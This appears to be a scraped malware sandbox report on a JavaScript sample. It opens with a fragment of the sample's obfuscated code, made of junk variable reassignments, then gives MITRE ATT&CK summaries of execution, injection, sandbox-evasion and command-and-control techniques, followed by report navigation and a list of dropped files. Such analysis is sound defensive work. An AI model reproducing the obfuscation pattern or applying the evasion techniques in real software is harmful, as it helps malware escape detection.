1399	sdofcrmi = "j";
1400	sdofcrmi = "F";
1401	sdofcrmi = "p";
1402	jzvjuscuz = "x";
1403	jzvjuscuz = "q";
1404	jzvjuscuz = "z";
1405	jzvjuscuz = "f";
1406	jzvjuscuz = "p";
1407	jzvjuscuz = "y";
1408	jzvjuscuz = "a";
1409	jzvjuscuz = "t";
1410	jzvjuscuz = "c";
1411	jzvjuscuz = "X";
1412	jzvjuscuz = "x";
1413	jzvjuscuz = "m";
1414	jzvjuscuz = "h";
1415	jzvjuscuz = "Y";
1416	jzvjuscuz = "K";
1417	jzvjuscuz = "D";
1418	jzvjuscuz = "t";
1419	jzvjuscuz = "J";
1420	jzvjuscuz = "S";
1421	jzvjuscuz = "G";
1422	jzvjuscuz = "L";
1423	jzvjuscuz = "q";
1424	jzvjuscuz = "h";
1425	jzvjuscuz = "M";
1426	jzvjuscuz = "O";
1427	jzvjuscuz = "x";
1428	jzvjuscuz = "i";
1429	jzvjuscuz = "v";
1430	jzvjuscuz = "h";
1431	jzvjuscuz = "K";
1432	jzvjuscuz = "F";
1433	jzvjuscuz = "m";
1434	jzvjuscuz = "b";
1435	jzvjuscuz = "W";
1436	jzvjuscuz = "Q";
1437	jzvjuscuz = "i";
1438	jzvjuscuz = "U";
1439	jzvjuscuz = "q";
1440	hxsvswde = "V";
1441	hxsvswde = "h";
1442	hxsvswde = "n";
1443	hxsvswde = "l";
1444	hxsvswde = "x";
1445	hxsvswde = "S";
1446	hxsvswde = "f";
1447	hxsvswde = "n";
1448	ttzmrzro ( );	ttzmrzro() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1227622214229272730.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9e9e8178-18a9-4b5a-9e10-286f1ec82dd9.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.964

Windows Analysis Report
1227622214229272730.js